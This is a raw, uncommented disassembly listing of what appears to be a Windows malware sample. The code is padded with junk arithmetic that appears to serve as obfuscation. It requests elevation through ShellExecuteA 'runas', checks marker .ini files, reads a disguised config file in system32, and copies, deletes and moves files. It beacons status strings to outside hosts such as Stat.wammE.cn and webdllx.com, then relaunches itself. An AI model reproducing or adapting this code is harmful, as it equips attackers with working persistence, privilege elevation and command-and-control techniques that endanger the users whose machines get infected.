add ecx, edi
add ecx, edx
add ecx, eax
push 0
mov dword [0x45dbdc], ecx
call fcn.00430d9a
mov ecx, dword [0x45dbd4]
mov edx, dword [0x45dbc8]
lea esi, [edx + ecx]
mov ecx, dword [0x45dbe4]
imul esi, esi, 0x8ec3
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd8]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub esi, eax
mov eax, edx
imul eax, eax, 0x14373
add esi, eax
mov eax, 0x39f7b4f
imul edx
sar edx, 0xa
mov edi, edx
add esi, edx
mov eax, 0x7f55e343
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xfc0]
shr edi, 0x1f
push edx
add edi, esi
lea eax, [ebp - 0x214]
sub edi, ecx
push str.C:Program_Files_s
push eax
mov dword [0x45dbe4], edi
call fcn.00430831
add esp, 0xc
push 1
lea ecx, [ebp - 0x214]
push ecx
push 0
lea edx, [ebp - 0x114]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x404446
mov ecx, dword [0x45dbe4]
mov esi, dword [0x45dbe0]
mov eax, 0x9524e185
imul esi, esi, 0x5556
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd0]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x32cc2d1b
imul ecx
sar edx, 0xe
add esi, edx
mov edi, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3f76
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x8116582f
imul ecx
push 0
add edx, ecx
push 0
sar edx, 0xd
push 0
mov esi, edx
add edi, edx
mov eax, 0x3af417
imul ecx
mov ecx, dword [ebp - 0xfbc]
push 0
push str.http:__Stat.wAmmE.cn_C8c_gL_cnZz61.html_paGehttp:__www.WEBDllX.COM_RUNEXEFAIL
push 0x45dbbc
push 0
sar edx, 5
shr esi, 0x1f
push 0
mov eax, edx
add esi, edi
push 1
shr eax, 0x1f
add esi, edx
add ecx, 0x74
add eax, esi
push 0x68
push ecx
mov dword [0x45dbc8], eax
call fcn.00442fa2
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
jmp 0x403665
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
jmp 0x403665
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45dbe4]
mov esi, dword [0x45dbe0]
mov eax, 0x9524e185
imul esi, esi, 0x5556
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd0]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x32cc2d1b
imul ecx
sar edx, 0xe
add esi, edx
mov ebx, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3f76
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov eax, 0x8116582f
imul ecx
add edx, ecx
sar edx, 0xd
mov esi, edx
add ebx, edx
mov eax, 0x3af417
imul ecx
sar edx, 5
shr esi, 0x1f
mov eax, edx
add esi, ebx
lea ecx, [ebp - 0xfa4]
shr eax, 0x1f
add esi, edx
push ecx
add eax, esi
push 0x101
mov dword [0x45dbc8], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4036fd
push 0
call fcn.00430d9a
push 0x3e8
call edi
push 0x413c
lea edx, [ebp - 0x314]
push 0x44db00
push edx
call fcn.00430831
add esp, 0xc
lea eax, [ebp - 0x314]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x5604c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov ecx, dword [0x45dbd4]
jne 0x4037e3
mov edx, dword [0x45dbc8]
lea esi, [edx + ecx]
mov ecx, dword [0x45dbe4]
imul esi, esi, 0x8ec3
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd8]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub esi, eax
mov eax, edx
imul eax, eax, 0x14373
add esi, eax
mov eax, 0x39f7b4f
imul edx
sar edx, 0xa
add esi, edx
mov edi, edx
mov eax, 0x7f55e343
imul ecx
mov eax, dword [0x45dbb8]
sar edx, 0xf
shr edi, 0x1f
mov ecx, edx
shr ecx, 0x1f
add edi, esi
add ecx, edx
sub edi, ecx
cmp eax, 0xffffffff
mov dword [0x45dbe4], edi
je 0x4037dc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.00430d9a
mov eax, 0x9524e185
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
mov esi, eax
sub esi, edx
mov eax, 0xca9db4d5
imul ecx
mov eax, dword [0x45dbe0]
add edx, ecx
imul eax, eax, 0x14289
mov ecx, dword [0x45dbe4]
sar edx, 0x10
imul ecx, ecx, 0x3f76
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
add ebx, eax
add ebx, ecx
mov ecx, dword [0x45dbcc]
mov eax, 0x72c3c0b5
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [str._r_____r____]
add eax, ebx
sub eax, edx
add eax, 0x11aa4
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbcc], eax
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
jne 0x403890
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
je 0x403890
push 0xea60
call edi
mov ecx, dword [0x45dbd8]
mov ebx, dword [0x45dbc8]
mov esi, dword [0x45dbdc]
imul ebx, ebx, 0xdbb5
mov edx, ecx
imul edx, edx, 0x156e6
add ebx, edx
mov eax, 0xbf1fa759
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
sub ebx, eax
add ebx, edx
mov eax, 0x8116582f
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd0]
sar edx, 0xd
mov esi, edx
add ebx, edx
mov eax, 0x39f7b4f
imul ecx
mov ecx, dword [0x45dbe4]
sar edx, 0xa
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
sub esi, ecx
push 0
sub esi, 0x3f76
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbd0], esi
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
je 0x4043d5
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
je 0x4043d5
mov edi, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov eax, 0xca9db4d5
imul edi
add edx, edi
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x2fd0003
imul esi
sar edx, 0xa
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x14373
add ebx, edx
mov eax, 0x32cc2d1b
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, esi
imul esi, esi, 0x156ac
imul edx, edx, 0x3f76
sub ebx, edx
mov eax, 0x72c3c0b5
imul dword [0x45dbe0]
sar edx, 0xe
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, dword [0x45dbe0]
imul eax, eax, 0x8ec3
add ebx, eax
sub ebx, ecx
mov eax, 0xbf1fa759
imul edi
mov dword [0x45dbd8], ebx
mov ebx, dword [0x45dbdc]
add edx, edi
imul ebx, ebx, 0xdbb5
mov edi, dword [0x45dbcc]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbf1fa759
imul edi
add edx, edi
sar edx, 0x10
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, edi
imul edx, edx, 0x14289
add eax, esi
add eax, edx
mov ebx, eax
mov eax, 0x7f55e343
imul edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
push str.C:_WINDoWS_system32driverSetc_serViCe5.ini
add ebx, ecx
push 0x200
lea ecx, [ebp - 0xc14]
mov dword [str._r_____r____], ebx
push ecx
push 0x44de89
push str.ConfigL0
push str.GameType1
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x44de89
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403e76
mov ecx, dword [0x45dbd4]
mov eax, 0x9524e185
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
mov esi, eax
sub esi, edx
mov eax, 0xca9db4d5
imul ecx
mov eax, dword [0x45dbe0]
add edx, ecx
imul eax, eax, 0x14289
mov ecx, dword [0x45dbe4]
sar edx, 0x10
imul ecx, ecx, 0x3f76
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
add edi, ecx
mov ecx, dword [0x45dbcc]
mov eax, 0x72c3c0b5
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
lea ecx, [ebp - 0xc14]
push ecx
sub eax, edx
lea edx, [ebp - 0x14d0]
add eax, 0x11aa4
push 0x12c
push edx
mov dword [0x45dbcc], eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x403e76
mov ecx, dword [str._r_____r____]
mov eax, dword [0x45dbd8]
mov esi, dword [0x45dbdc]
lea edi, [eax + ecx]
imul ecx, ecx, 0x14373
mov eax, 0xca9db4d5
imul edi, edi, 0xdbb5
imul esi
add edx, esi
sar edx, 0x10
mov ebx, edx
add edi, edx
shr ebx, 0x1f
mov eax, 0x72c3c0b5
imul esi
add ebx, edi
add ebx, ecx
mov ecx, esi
imul ecx, ecx, 0x14289
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, ecx
mov ecx, dword [0x45dbe0]
add eax, edx
sub ebx, eax
lea edx, [ebx + ecx - 0x3f76]
mov ecx, dword [ebp - 0x14d0]
mov eax, ecx
mov dword [0x45dbd4], edx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403b95
sub eax, esi
cmp byte [eax + ecx - 1], 0x5c
jne 0x403bbb
mov eax, dword [ebp - 0x14c4]
push eax
push ecx
push str._s_s
lea ecx, [ebp - 0x614]
push ecx
jmp 0x403bcf
mov edx, dword [ebp - 0x14c4]
push edx
push ecx
push 0x44dd04
lea eax, [ebp - 0x614]
push eax
call fcn.00430831
mov ecx, dword [0x45dbcc]
mov edx, dword [0x45dbd0]
lea esi, [edx + ecx]
mov eax, 0x9524e185
imul esi, esi, 0x10156
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
sar edx, 0x10
mov edi, edx
add esi, edx
mov eax, 0xca9db4d5
imul ecx
mov eax, dword [0x45dbe0]
add edx, ecx
imul eax, eax, 0x8af5
sar edx, 0x10
shr edi, 0x1f
mov ecx, edx
add edi, esi
add edi, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x3f76
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
add esp, 0x10
mov dword [0x45dbdc], ecx
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x414]
push str._s.bak
push edx
call fcn.00430831
add esp, 0xc
push 0
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x614]
push edx
call esi
mov eax, dword [0x45dbd4]
mov ecx, dword [0x45dbc8]
lea edi, [ecx + eax]
mov ecx, dword [0x45dbe4]
imul edi, edi, 0x8ec3
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd8]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub edi, eax
mov eax, edx
imul eax, eax, 0x14373
add edi, eax
mov eax, 0x39f7b4f
imul edx
sar edx, 0xa
mov ebx, edx
add edi, edx
mov eax, 0x7f55e343
imul ecx
sar edx, 0xf
mov ecx, edx
shr ebx, 0x1f
shr ecx, 0x1f
add ecx, edx
add ebx, edi
lea edx, [ebp - 0x614]
sub ebx, ecx
push 0
push edx
mov dword [0x45dbe4], ebx
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
je 0x403dbd
mov ecx, dword [0x45dbe4]
mov edi, dword [0x45dbe0]
mov eax, 0x9524e185
imul edi, edi, 0x5556
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd0]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x32cc2d1b
imul ecx
sar edx, 0xe
add edi, edx
mov ebx, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3f76
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0x8116582f
imul ecx
add edx, ecx
sar edx, 0xd
mov edi, edx
add ebx, edx
mov eax, 0x3af417
imul ecx
sar edx, 5
shr edi, 0x1f
mov eax, edx
add edi, ebx
shr eax, 0x1f
add edi, edx
lea ecx, [ebp - 0x414]
add eax, edi
push ecx
mov dword [0x45dbc8], eax
call esi
push 0
call fcn.00430d9a
mov ecx, dword [0x45dbd8]
mov edi, dword [0x45dbc8]
mov esi, dword [0x45dbdc]
imul edi, edi, 0xdbb5
mov edx, ecx
imul edx, edx, 0x156e6
add edi, edx
mov eax, 0xbf1fa759
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
sub edi, eax
add edi, edx
mov eax, 0x8116582f
imul ecx
mov ebx, dword [0x45dbe4]
add edx, ecx
mov ecx, dword [0x45dbd0]
sar edx, 0xd
mov esi, edx
add edi, edx
mov eax, 0x39f7b4f
imul ecx
sar edx, 0xa
shr esi, 0x1f
mov eax, edx
add esi, edi
shr eax, 0x1f
add eax, edx
sub esi, eax
lea ecx, [ebp - 0x614]
sub esi, ebx
push ecx
lea edx, [ebp - 0x414]
sub esi, 0x3f76
push edx
mov dword [0x45dbd0], esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403e64
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45dbe8]
mov ebx, dword [0x45dbc8]
mov eax, 0x2fd0003
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, dword [0x45dbd4]
mov edx, ebx
imul edx, edx, 0x14373
add eax, edx
mov dword [ebp - 0xfa8], eax
mov eax, 0xca9db4d5
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfa8]
sub edx, eax
mov esi, dword [0x45dbe0]
mov dword [ebp - 0xfa8], edx
mov eax, 0x32cc2d1b
imul ecx
imul ecx, ecx, 0x3f76
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfa8]
sub edx, eax
sub edx, ecx
mov dword [ebp - 0xfa8], edx
mov eax, 0x72c3c0b5
imul esi
imul esi, esi, 0x8ec3
mov eax, dword [ebp - 0xfa8]
sar edx, 0xe
mov ecx, edx
add eax, edx
shr ecx, 0x1f
add ecx, eax
add ecx, esi
lea eax, [ebp - 0x814]
mov dword [0x45dbd8], ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403f27
sub eax, esi
mov dword [ebp - 0xfa8], eax
jne 0x403f3f
push 0
call fcn.00430d9a
mov esi, dword [0x45dbe4]
mov eax, 0xbf1fa759
imul esi
add edx, esi
sar edx, 0x10
add ebx, edi
mov eax, edx
imul ebx, ebx, 0x8ec3
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub ebx, eax
mov eax, edx
imul eax, eax, 0x14373
add ebx, eax
mov eax, 0x39f7b4f
imul edx
sar edx, 0xa
mov esi, edx
add ebx, edx
mov eax, 0x7f55e343
imul ecx
sar edx, 0xf
mov ecx, edx
shr esi, 0x1f
shr ecx, 0x1f
add ecx, edx
add esi, ebx
lea edx, [ebp - 0x814]
sub esi, ecx
push 0
push edx
mov dword [0x45dbe4], esi
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
jne 0x404133
mov ecx, dword [0x45dbc8]
mov eax, 0xca9db4d5
imul ecx
mov eax, dword [0x45dbd8]
add edx, ecx
imul eax, eax, 0x14289
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45dbe4]
imul edx, edx, 0x3f76
add esi, eax
sub esi, edx
mov eax, 0x72c3c0b5
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xe
push 0
mov edi, edx
add esi, edx
push 0
mov eax, 0x3af417
imul ecx
mov ecx, dword [0x45dbd0]
push 0
imul ecx, ecx, 0xea
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.webdllx.com_NotDllx
sar edx, 5
push 0x45dbbc
mov eax, edx
push 0
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfbc]
push 0
add edi, esi
push 1
sub edi, eax
add edx, 0x74
sub edi, ecx
push 0x68
push edx
mov dword [0x45dbe8], edi
call fcn.00442fa2
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
mov ecx, dword [0x45dbd4]
mov ebx, dword [0x45dbdc]
mov esi, dword [0x45dbcc]
imul ebx, ebx, 0xdbb5
mov eax, 0xbf1fa759
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbf1fa759
imul esi
add edx, esi
sar edx, 0x10
add ebx, edx
mov eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
shr eax, 0x1f
add eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0xca9db4d5
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
mov edx, esi
imul edx, edx, 0x14289
add ecx, ebx
add ecx, edx
mov eax, 0x7f55e343
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [str._r_____r____], ecx
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
je 0x40412c
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00430bcd
add esp, 8
cmp eax, 0xffffffff
jne 0x404139
push 0
call fcn.00430d9a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x404145
mov ecx, dword [0x45dbd4]
mov eax, 0x9524e185
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x156ac
mov esi, eax
sub esi, edx
mov eax, 0xca9db4d5
imul ecx
mov eax, dword [0x45dbe0]
imul eax, eax, 0x14289
add edx, ecx
mov ecx, dword [0x45dbe4]
sar edx, 0x10
imul ecx, ecx, 0x3f76
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [str._r_____r____]
add ebx, eax
add ebx, ecx
mov ecx, dword [0x45dbcc]
mov eax, 0x72c3c0b5
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, esi
add eax, 0x11aa4
push 0x132db2c
mov dword [0x45dbcc], eax
call sym.CallDll.exe_int___cdecl_pro_cess5_int_
add esp, 4
push 0x1388
call edi
mov ecx, dword [0x45dbe8]
mov esi, dword [0x45dbd4]
mov eax, 0x2fd0003
imul ecx
sar edx, 0xa
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x14373
add ebx, edx
mov eax, 0xca9db4d5
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x32cc2d1b
imul ecx
imul ecx, ecx, 0x3f76
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
mov ecx, dword [0x45dbe0]
mov eax, 0x72c3c0b5
imul ecx
imul ecx, ecx, 0x8ec3
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, dword [ebp - 0xfbc]
push 0
push 0
push 0
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45dbbc
push 0
push 0
push 1
add ecx, 0x74
push 0x68
push ecx
mov dword [0x45dbd8], eax
call fcn.00442fa2
add esp, 0x2c
push 0x2710
call edi
mov ecx, dword [0x45dbdc]
mov esi, dword [str._r_____r____]
mov edx, dword [0x45dbd8]
lea edi, [edx + esi]
imul esi, esi, 0x14373
mov eax, 0xca9db4d5
imul edi, edi, 0xdbb5
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, ecx
imul eax, eax, 0x14289
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45dbe0]
add ebx, esi
add ebx, eax
mov eax, 0x72c3c0b5
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [ebx + edi - 0x3f76]
mov dword [0x45dbd4], edx
mov dword [ebp - 0xfbc], 0
lea ecx, [ecx]
mov esi, dword [0x45dbcc]
imul ecx, ecx, 0x3f76
imul edi, edi, 0x8af5
mov eax, dword [0x45dbd0]
lea ebx, [eax + esi]
mov eax, 0x9524e185
imul ebx, ebx, 0x10156
imul esi
add edx, esi
mov esi, dword [0x45dbe4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbf1fa759
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, eax
mov eax, 0xca9db4d5
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
add eax, edi
push 0x2710
mov byte [ebp - 4], 2
mov dword [0x45dbdc], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfbc]
cdq
mov ecx, 0x1e
idiv ecx
test edx, edx
jne 0x4043aa
push edx
call fcn.0040e490
add esp, 4
mov eax, dword [ebp - 0xfbc]
mov ecx, dword [0x45dbdc]
mov edi, dword [0x45dbe0]
inc eax
mov dword [ebp - 4], 1
mov dword [ebp - 0xfbc], eax
jmp 0x404310
mov esi, dword [0x45dbdc]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45dbd8]
lea ebx, [edx + ecx]
imul ecx, ecx, 0x14373
mov eax, 0xca9db4d5
imul ebx, ebx, 0xdbb5
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, esi
imul ecx, ecx, 0x14289
add eax, ecx
mov ecx, dword [0x45dbe0]
mov ebx, eax
mov eax, 0x72c3c0b5
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [ebx + ecx - 0x3f76]
push 0x493e0
mov dword [0x45dbd4], edx
call edi
push 0
call fcn.00430d9a
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x1010]
rep stosd dword es:[edi], eax
push 0x200
lea eax, [ebp - 0xa14]
push eax
push 0
mov dword [ebp - 0x1010], 0x44
mov dword [ebp - 0xfe4], 1
mov word [ebp - 0xfe0], 5
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x1020]
push ecx
lea edx, [ebp - 0x1010]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea eax, [ebp - 0xa14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0x404446
ret